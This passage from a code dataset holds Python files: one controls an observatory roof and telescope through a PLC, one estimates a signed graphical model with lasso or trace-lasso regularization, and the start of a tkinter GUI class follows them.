is pressed')\n\n\t# Check to see if the AC motor is being used. If it is check for power failure\n\t# or that the AC motor has tripped\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_DC_Motor_In_Use) == False:\n\t\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Power_Failure) == True:\n\t\t\tlogger.error('Power failure and AC motor selected')\n\t\t\traise PLC_ERROR('Power failure and AC motor selected')\n\n\t\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_AC_Motor_Tripped) == True:\n\t\t\tlogger.error('AC motor has tripped.')\n\t\t\traise PLC_ERROR('AC motor has tripped.')\n\n\t# Get the current status of the command buffer words D-100 to D-102\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, tilt_hex = split_up_response(response)\n\n\tlogger.debug('Before WATCHDOG set status hex: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\tlogger.debug('Closed bit set status hex: '+str(status_hex))\n\t# Set the close roof command bit and unset the open roof command bit\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_OPEN)\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_CLOSE)\n\tlogger.debug('Open bit unset status hex: '+ str(status_hex))\n\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\n\treturn set_err_codes.PLC_CODE_OK\n\n\ndef plc_get_plc_status(log_messages = True):\n\n\t\"\"\"\n\tIssue the commands the get the status of the plc from the plc box\n\t\n\tPARAMETERS:\n\t\n\t\tlog_messages = If True, messages will be logged in the file plc.log. \n\t\t\tError messages will still be logged even if false.\n\t\t\n\tRETURN \n\t\n\t\tplc_status_dict = Dictionary containing the current response code, \n\t\t\tstatus and operating mode of the plc box.\n\t\"\"\"\n\n\tresponse = rcf.plc_command_response(rcf.PLC_Status_Request)\n\tplc_status_dict = dict()\n\n\tplc_status_dict['PLC_Response_Code'] = response\n\tplc_status_dict['PLC_Status'] = rcf.plc_status_request_response_plc(\n\t\tresponse)\n\tplc_status_dict['PLC_Operating_Mode'] = rcf.plc_mode(response)\n\n\tif log_messages == True:\n\t\tdict_keys_list = list(plc_status_dict.keys())\n\t\tfor i in range(len(plc_status_dict.keys())):\n\t\t\tlogger.info(dict_keys_list[i] +' = '+ \\\n\t\t\t\t\t\t\tplc_status_dict[dict_keys_list[i]])\n\n\treturn plc_status_dict\n\n\ndef plc_get_rain_status(log_messages = True):\n\t\"\"\"\n\tIssue commands to get the rain status from the PLC box\n\t\n\tPARAMETERS:\n\t\n\t\tlog_messages = If True, messages will be logged in the file plc.log. \n\t\t\tError messages will still be logged even if false.\n\t\t\n\tRETURN:\n\t\n\t\train_status_dict = A dictionary containing the response code, the rain \n\t\t\tstatus (either 'Check Rain' or 'Ignore Rain') and the PC Comm and \n\t\t\tPower Failure timeouts.\n\t\"\"\"\n\t\n\tresponse = rcf.plc_command_response(rcf.PLC_Request_Roof_Status)\n\train_status_dict = dict()\n\train_status_dict['Response Code'] = response\n\t\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting roof status from PLC: '+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting roof status from PLC: '+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\n\telse:\n\t\train_status_dict = dict()\n\t\troof_status = rcf.plc_status_status_code(response)\n\t\tif rcf.hex_bit_is_set(roof_status,rcf.PLC_CMD_BIT_RAIN) == True:\n\t\t\train_status_dict['Rain_status'] = 'Check Rain'\n\t\telse:\n\t\t\train_status_dict['Rain_status'] = 'Ignore Rain'\n\n\train_status_dict['PC_Communication_Timeout'] = rcf.plc_status_comms_timeout(\n\t\t\tresponse)\n\train_status_dict['Power_Failure_Timeout'] = rcf.plc_status_power_timeout(\n\t\tresponse)\n\n\tif log_messages == True:\n\t\tdict_keys_list = list(rain_status_dict.keys())\n\t\tfor i in range(len(rain_status_dict.keys())):\n\t\t\tlogger.info(dict_keys_list[i] +' = '+ str(\n\t\t\t\train_status_dict[dict_keys_list[i]]))\n\n\treturn rain_status_dict\n\n\ndef plc_get_roof_status(log_messages=True):\n\t\"\"\"\n\tSends the commands needed to get the roof status from the PLC box. Will \n\t also log the information\n\n\tPARAMETERS:\n\t\n\t\tlog_messages = If true, the status of the various parameters will be \n\t\t\tlogged. Error messages will still be logged even if false.\n\t\n\tRETURN\n\t\n\t\troof_dict = A dictionary containing the status of all parameters \n\t\t\trelating to the roof.\n\t\t\n\t\"\"\"\n\t\n\tresponse = rcf.plc_command_response(rcf.PLC_Request_Roof_Status)\n\troof_dict = dict()\n\troof_dict['Response Code'] = response\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting roof status from PLC:'+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting roof status from PLC:'+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\n\telse:\n\t\t#roof_dict = dict()\n\t\troof_status = rcf.plc_status_status_code(response)\n\n\t\t# Roof Closed?\n\t\troof_dict['Roof_Closed'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Closed)\n\n\t\t# Roof open?\n\t\troof_dict['Roof_Open'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Open)\n\n\t\t# Roof moving?\n\t\troof_dict['Roof_Moving'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Moving)\n\n\t\t#Check Roof control Remote/Manual\n\t\tif rcf.int_bit_is_set(roof_status,rcf.PLC_Roof_Remote_Control):\n\t\t\troof_dict['Roof_Control'] = 'Remote'\n\t\telse:\n\t\t\troof_dict['Roof_Control'] = 'Manual'\n\n\t\t# Check rain status\n\t\troof_dict['Roof_Raining'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Raining)\n\n\t\t# Check for forced rain closure\n\t\troof_dict['Roof_Forced_Close'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Forced_Rain_Closure)\n\n\t\t# Building Temp High:\n\t\troof_dict['High_Building_Temp'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Building_Temp_High)\n\n\t\t# extractor fan\n\t\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Extractor_Fan_On):\n\t\t\troof_dict['Extractor_Fan'] = 'On'\n\t\telse:\n\t\t\troof_dict['Extractor_Fan'] = 'Off'\n\n\t\t# motor stop is pressed\n\t\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Motor_Stop_Pressed):\n\t\t\troof_dict['Roof_Motor_Stop'] = 'Pressed'\n\t\telse:\n\t\t\troof_dict['Roof_Motor_Stop'] = 'Not Pressed'\n\n\t\t# AC Motor has tripped\n\t\troof_dict['Roof_AC_Motor_Tripped'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_AC_Motor_Tripped)\n\n\t\t# Using DC motor\n\t\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_DC_Motor_In_Use):\n\t\t\troof_dict['Roof_Motor_Being_Used'] = 'DC'\n\t\telse:\n\t\t\troof_dict['Roof_Motor_Being_Used'] = 'AC'\n\n\n\t\t#Close Proximity\n\t\troof_dict['Roof_Close_Proximity'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Close_Proximity)\n\n\t\t#Power failure\n\t\troof_dict['Roof_Power_Failure'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Power_Failure)\n\n\t\t#Force_Power_closure\n\t\troof_dict['Roof_Forced_Power_Closure'] = rcf.int_bit_is_set(\n\t\t\troof_status,rcf.PLC_Roof_Forced_Power_Closure)\n\n\t\t# Open proximity\n\t\troof_dict['Roof_Open_Proximity'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Open_Proximity)\n\n\t\t#Door open\n\t\troof_dict['Roof_Door_Open'] = rcf.int_bit_is_set(roof_status,\n\t\t\trcf.PLC_Roof_Door_Open)\n\n\troof_dict['PC_Communication_Timeout'] = rcf.plc_status_comms_timeout(\n\t\tresponse)\n\troof_dict['Power_Failure_Timeout'] = rcf.plc_status_power_timeout(\n\t\tresponse)\n\n\tif log_messages == True:\n\t\tdict_keys_list = list(roof_dict.keys())\n\t\tfor i in range(len(roof_dict.keys())):\n\t\t\tlogger.info(dict_keys_list[i] +' = '+ str(\n\t\t\t\troof_dict[dict_keys_list[i]]))\n\n\treturn roof_dict\n\ndef plc_get_telescope_tilt_status():\n\n\t\"\"\"\n\tThis function looks at the integer representing bits 8-13 inclusive of \n\t D-memory location 153. The bits represent the different tilt options as \n\t follows:\n\t\n\t\tPLC_Tilt_1hour_East = 8\n\t\tPLC_Tilt_1hour_West = 9\n\t\tPLC_Tilt_6hours_East = 10\n\t\tPLC_Tilt_6hours_West = 11\n\t\tPLC_RA_Limit_East = 12\n\t\tPLC_RA_Limit_West = 13\n\t\n\tThey are defined at the top of this script.\n\t\n\tCheck whether or not PLC_Telescope_Drive_Control = 14, is set so it can \n\t adjust the tilt code accordingly\n\t\n\tRETURN\n\t\n\t\ttilt_dict = A dictionary containing the status of all parameters \n\t\t\trelating to the roof.\n\t\n\t\"\"\"\n\tresponse = rcf.plc_command_response(rcf.PLC_Request_Roof_Status)\n\ttilt_dict = dict()\n\ttilt_dict['Response Code'] = response\n\n\t\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting roof status from PLC:'+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting roof status from PLC:'+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\n\telse:\n\t\ttilt_code = rcf.plc_status_tilt_status(response)\n\n\t\ttel_drive_control = rcf.int_bit_is_set(tilt_code,14)\n\t\tif tel_drive_control:\n\t\t\ttilt_code -= 16384\n\t\t\ttilt_dict['Tel_drive_control'] = 1\n\t\telse:\n\t\t\ttilt_dict['Tel_drive_control'] = 0\n\n\t\tvalid_tilt_values = dict({\t0:\"1h East < x < 1h West\",\n\t\t\t\t\t\t\t\t256:\"1h East <= x < 6h East\",\n\t\t\t\t\t\t\t\t1280:\"6h East <= x < RA East limit\", #two bits\n\t\t\t\t\t\t\t\t5376: \"RA East limit\", #3 bits\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t512: \"1h West <= x < 6h West\",\n\t\t\t\t\t\t\t\t2560: \"6h West <= x < RA West limit\", #two bits\n\t\t\t\t\t\t\t\t10752: \"RA West limit\", #3 bits\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t\t\n\t\ttry:\n\t\t\tmessage = valid_tilt_values[tilt_code]\n\t\texcept KeyError:\n\t\t\tlogger.error('Unexpected combination of tilt bits set')\n\t\t\traise PLC_ERROR('Unexpected combination of tilt bits set')\n\t\t\t\t\n\t\ttilt_dict['Tilt_angle'] = message\n\t\t\n\t\treturn tilt_dict\n\ndef plc_open_roof():\n\t\"\"\"\n\tSend the commands to open the roof. Will check the following:\n\t - The roof interface is set to remote\n\t - The motor Stop is not pressed\n\t - The rain sensor is not triggered\n\t - There is no power failure\n\t \n\t RETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t \n\t\"\"\"\n\tresponse = rcf.plc_command_response(rcf.PLC_Request_Roof_Status)\n\tlogger.debug(\"Response: \"+ response)\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting roof status from PLC:'+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting roof status from PLC:'+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\n\troof_status = rcf.plc_status_status_code(response)\n\tlogger.debug('Roof_stat:' + str(roof_status))\n\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Remote_Control) == False:\n\t\tlogger.error('PLC not under remote control')\n\t\traise PLC_ERROR('PLC not under remote control')\n\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Motor_Stop_Pressed):\n\t\tlogger.error('PLC motor stop is pressed')\n\t\traise PLC_ERROR('PLC motor stop is pressed')\n\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Raining):\n\t\tlogger.error(\"It's RAINING!!\")\n\t\traise PLC_ERROR(\"It's RAINING!!\")\n\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Power_Failure):\n\t\tlogger.error('Power failure')\n\t\traise PLC_ERROR('Power failure')\n\n\t# Get the current status of the command buffer words D-100 to D-102\n\tresponse = get_D100_D102_status()\n\tlogger.debug('D100 response: '+str(response))\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\t\n\tlogger.debug('Before WATCHDOG set status hex: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\n\tlogger.debug('Closed bit set status hex: '+str(status_hex))\n\t# Set the close roof command bit and unset the open roof command bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_OPEN)\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_CLOSE)\n\tlogger.debug('Open bit set status hex: '+ str(status_hex))\n\n\t#Create new command, sent it and deal with response\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\n\treturn set_err_codes.PLC_CODE_OK\n\ndef plc_request_roof_control():\n\t\"\"\"\n\tSend the commands to request control of the roof\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\t\n\t\"\"\"\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\tlogger.debug('Before WATCHDOG set status hex: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\n\tlogger.debug('Before request: '+str(status_hex))\n\t#Set control request bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_REQ_CONTROL)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex))\n\t#Unset control request bit\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_REQ_CONTROL)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('reset request: '+str(status_hex))\n\n\n\treturn set_err_codes.PLC_CODE_OK\n\n\ndef plc_request_telescope_drive_control():\n\t\"\"\"\n\tSend the commands to request control of the telescope drive. NEW FUNCTION...\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\t\n\t\"\"\"\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\tlogger.debug('Before WATCHDOG set status hex: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\n\tlogger.debug('Telescope_drive: Before request: '+str(status_hex))\n\t#Set control request bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_REQ_TELE_CONTROL)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex))\n\t#Unset control request bit\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_REQ_TELE_CONTROL)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('reset request: '+str(status_hex))\n\n\n\treturn set_err_codes.PLC_CODE_OK\n\ndef plc_reset_watchdog():\n\t\"\"\"\n\tSend the commands to reset the watchdog for the PLC box\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\n\t\"\"\"\n\t\n\t# Get the current status of the command buffer words D-100 to D-102\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\tlogger.debug('reset watchdog:Before request: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\t\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex))\n\t\n\treturn set_err_codes.PLC_CODE_OK\n\n\ndef plc_select_battery():\n\t\"\"\"\n\tSend the commands to select the battery for the PLC box\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\t\n\t\"\"\"\n\t\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\n\n\tlogger.debug('Select Battery:Before request: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\t\n\t# Set main/battery bit to 0 = battery\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_MAINS)\n\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex))\n\t\n\treturn set_err_codes.PLC_CODE_OK\n\n\ndef plc_select_mains():\n\t\"\"\"\n\tSend the commands to select the mains for the PLC box\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\t\n\t\"\"\"\n\t\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\n\tlogger.debug('Select Main:Before request: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\t\n\t# Set main/battery bit to 0 = battery\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_MAINS)\n\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex))\n\treturn set_err_codes.PLC_CODE_OK\n\n\ndef plc_set_comms_timeout(timeout=set_err_codes.plc_comms_timeout):\n\t\"\"\"\n\tSend the commands to set the comms timeout for the PLC box\n\t\n\tPARAMETERS:\n\t\t\n\t\ttimeout = timeout time in seconds, between 1 and 9999\n\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\n\t\"\"\"\n\n\t\n\tif isinstance(timeout,int)==False or timeout < 0 or timeout >9999:\n\t\tlogger.error('Invalid timeout value, use integer: 0 <= Timeout '\\\n\t\t\t'<= 9999')\n\t\traise ValueError('Invalid timeout value, use integer: 0 <= Timeout '\\\n\t\t\t'<= 9999')\n\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\n\tlogger.debug('Set comms:Before request: '+str(status_hex)+' Comms:'+str(\n\t\t\tcomms_timeout_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\n\t# Set timeout value\n\tcomms_timeout_hex = format(timeout, '04X')\n\t\n\t# Set update timeout bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_SET_COMMS_DELAY)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('Mid request: '+str(status_hex)+' Comms:'+str(\n\t\t\tcomms_timeout_hex))\n\t#Unset timeout bit\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_SET_COMMS_DELAY)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex)+' Comms:'+str(\n\t\t\tcomms_timeout_hex))\n\n\treturn set_err_codes.PLC_CODE_OK\n\ndef plc_set_power_timeout(timeout=set_err_codes.plc_power_timeout):\n\t\"\"\"\n\tSend the commands to set the power timeout for the PLC box\n\t\n\tPARAMETERS:\n\t\t\n\t\ttimeout = timeout time in seconds, between 1 and 9999\n\t\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\"\"\"\n\t\n\tif isinstance(timeout,int)==False or timeout < 0 or timeout >9999:\n\t\tlogger.error('Invalid timeout value, use integer: 0 <= Timeout '\\\n\t\t\t'<= 9999')\n\t\traise ValueError('Invalid timeout value, use integer: 0 <= Timeout '\\\n\t\t\t'<= 9999')\n\n\t\t\t\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\tlogger.debug('Set comms:Before request: '+str(status_hex)+' Power:'+str(\n\t\tpower_timeout_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\n\t# Set timeout value\n\tpower_timeout_hex = format(timeout,'04X')\n\t\n\t# Set update timeout bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_SET_POWER_DELAY)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('Mid request: '+str(status_hex)+' Power:'+str(\n\t\tpower_timeout_hex))\n\t#Unset timeout bit\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_SET_POWER_DELAY)\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex)+' Power:'+str(\n\t\tpower_timeout_hex))\n\n\treturn set_err_codes.PLC_CODE_OK\n\n\ndef plc_stop_roof():\n\n\t\"\"\"\n\tSend the commands to stop the roof to the PLC box\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that \n\t\t\tthe code has completed\n\t\t\n\t\t\n\t\"\"\"\n\tresponse = get_D100_D102_status()\n\n\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, \\\n\t\ttilt_hex = split_up_response(response)\n\n\tlogger.debug('Set comms:Before request: '+str(status_hex))\n\t# Reset the watchdog timer bit\n\tstatus_hex = rcf.set_hex_bit(status_hex, rcf.PLC_CMD_BIT_WATCHDOG_RESET)\n\n\t#Unset the close roof command bit and unset the open roof command bit\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_CLOSE)\n\tstatus_hex = rcf.unset_hex_bit(status_hex, rcf.PLC_CMD_BIT_OPEN)\n\t\n\tcreate_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\tlogger.debug('After request: '+str(status_hex))\n\n\treturn set_err_codes.PLC_CODE_OK\n\n\n\ndef plc_is_roof_open():\n\t\"\"\"\n\tWill just check if the open roof bit is set\n\t\"\"\"\n\n\tresponse = rcf.plc_command_response(rcf.PLC_Request_Roof_Status)\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting roof status from PLC: '+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting roof status from PLC: '+ \\\n\t\t\trcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\telse:\n\t\troof_status = rcf.plc_status_status_code(response)\n\t\troof_open = rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Open)\n\n\t\treturn roof_open\n","sub_path":"PLC_interaction_functions.py","file_name":"PLC_interaction_functions.py","file_ext":"py","file_size_in_byte":29832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"264467362","text":"import numpy as np\nfrom scipy import optimize\nfrom scipy.linalg import sqrtm\nimport time\nfrom sys import exit\n\np = 10 #Number of nodes in the graph\n\nn = 100 #Number of datapoints\n\nmu = 0.01\n\n# Regularization Parameter\nlamb = np.sqrt(np.log(n)/p)\n\nnp.random.seed(2018)\n\n# Matrix containing signed edge values between all edges : This is a symmetric matrix\n# Can potentially be replaced by a dictionary of edge values\ntheta = np.random.rand(p,p)\nnp.fill_diagonal(theta,1)\n\n# Sample data of 0-mean gaussians : n samples each length p\n#X = np.load('house_votes.npy')\nX = np.random.multivariate_normal([0]*p, np.identity(p), (n))\n\n# Replace positive elements by 1 and negative elements by -1 \nX = np.where(X >= 0,1,-1)\n\n\ndef cond(X,theta,r):\n \"\"\" Return the Conditional Probability of x_r given x/r for one sample of data. \n Arguments: \n X - One sample of data, a px1 vector\n theta - The Corresponding theta Vector from the full theta matrix\n r = The node whose neighbourhood is to be estimated \n \"\"\"\n x_r = X[r]\n\n x_nr = np.array([X[i] for i in range(len(X)) if i!=r]) # leave out 'r'th column/element when writing to x_nr\n\n temp = np.exp(2 * x_r * (theta.dot(x_nr))) #Evaluating the numerator in the conditional probability\n return(temp/(temp+1)) #Return Conditional probability of x_r given x_nr\n\ndef reg_func(X_nr,theta_nr, param=None):\n \"\"\" Return the Normalized Regularization term\n Arguments:\n X_nr : One sample of data with the 'r'th column removed\n theta_nr : The corresponding theta vector with the rth element removed\n param : If param=1 do normalized l1 regularization else do trace lasso\n \"\"\"\n if(param==1):\n l1_norm = 0\n for i in range(len(theta_nr)):\n l1_norm += np.abs(theta_nr[i]) * np.linalg.norm(X_nr[:,i]) #Return normalized l1 norm\n return l1_norm\n else:\n global mu\n if(mu > 1e-5):\n mu /= 10\n\n # M is the matrix that we want to compute the trace Lasso for - so X * Diag(theta)\n M = X_nr.dot(np.diag(theta_nr))\n S = sqrtm(M.dot(np.transpose(M)) + mu * np.identity(n))\n Sinv = np.linalg.inv(S)\n return 0.5 * theta_nr.dot(np.diag(np.diagonal(np.transpose(X_nr).dot(Sinv).dot(X_nr)))).dot(theta_nr)\n\ndef obj_func(theta,r):\n \"\"\" The function to compute the Pseudo-Likelihood, the Regularization term\n \"\"\"\n\n objVal = 0\n\n \n # Compute Pseudo-Likelihood for each data sample (Each row of X) and sum them\n \n for i in range(n):\n objVal -= np.log(cond(X[i,:],theta,r))\n objVal /= n\n # Delete 'r'th column from the matrix\n X_nr = np.delete(X,r,1)\n\n #### Uncomment first line and comment second line to get Lasso regularization\n #objVal += lamb*reg_func(X_nr,theta,1) #lasso \n objVal += lamb*reg_func(X_nr,theta) #Trace lasso\n\n return objVal\n\n\"\"\"Perform Signed Edged recovery for every edge in the graph\"\"\"\nstart_time = time.time()\nfor i in range(p):\n theta_arg = []\n \"\"\" The following loop constructs the theta vector for this particular node\n and basically eliminates duplicates.\n The idea is that we want only the right upper triangular portion of theta matrix\n to be changed i.e the edge between 1 and 0 is theta[0,1] and not theta[1,0]\n Similarly edge between 4 and 2 is theta[2,4] and not theta[4,2]\n So if i=2, theta_arg contains ([0,2],[1,2],[2,3],[2,4],...,[2,9])\n \"\"\"\n for j in range(p):\n if(i != j):\n theta_arg.append(theta[i,j])\n\n theta_arg = np.array(theta_arg) \n\n\n\n #Run the Optimizer on the Objective function, method is Conjugated Gradients\n theta_opt = optimize.minimize(obj_func, theta_arg,args=(i,),method='CG', options={'disp':True})\n\n\n \n \"\"\"\n # Write the elements of minimized theta to their right place in the overall theta matrix\n # Here we are writing from a length p-1 vector to a pxp Matrix and basically \n # performing the reverse of the loop in the beginning of the function. \n \"\"\"\n for j in range(p-1):\n if(i <= j):\n theta[i,j+1] = theta_opt.x[j]\n if(i > j):\n theta[i,j] = theta_opt.x[j]\n\ntime_elapsed = time.time() - start_time\n\nprint(\"Time Elapsed: \", time_elapsed)\n\nprint(theta)\n\nfor i in range(p):\n for j in range(i):\n if(np.abs(theta[i,j]) < np.abs(theta[j,i])):\n theta[i,j],theta[j,i] = np.sign(theta[i,j]), np.sign(theta[i,j])\n else:\n theta[i,j],theta[j,i] = np.sign(theta[j,i]), np.sign(theta[j,i])\n\n#exit()\n\nwith open(\"results.txt\", \"a\") as text_file:\n #print(\"Reg = Lasso, theta = \\n %s \\n\"%(theta),file=text_file)\n print(\"Reg = Trace Lasso, theta = \\n %s \\n\"%(theta),file=text_file)\n","sub_path":"trial-2.py","file_name":"trial-2.py","file_ext":"py","file_size_in_byte":4768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"571195106","text":"# https://www.rs-online.com/designspark/python-tkinter-cn#_Toc61529916\n\nimport tkinter as tk\n\nclass ProgramBase(tk.Frame):\n def __init__(self, root, width=600, height=400):\n super().__init__(root)\n self.root = root\n self.frame = self\n \n # configure window\n root.width = width\n root.height = height\n 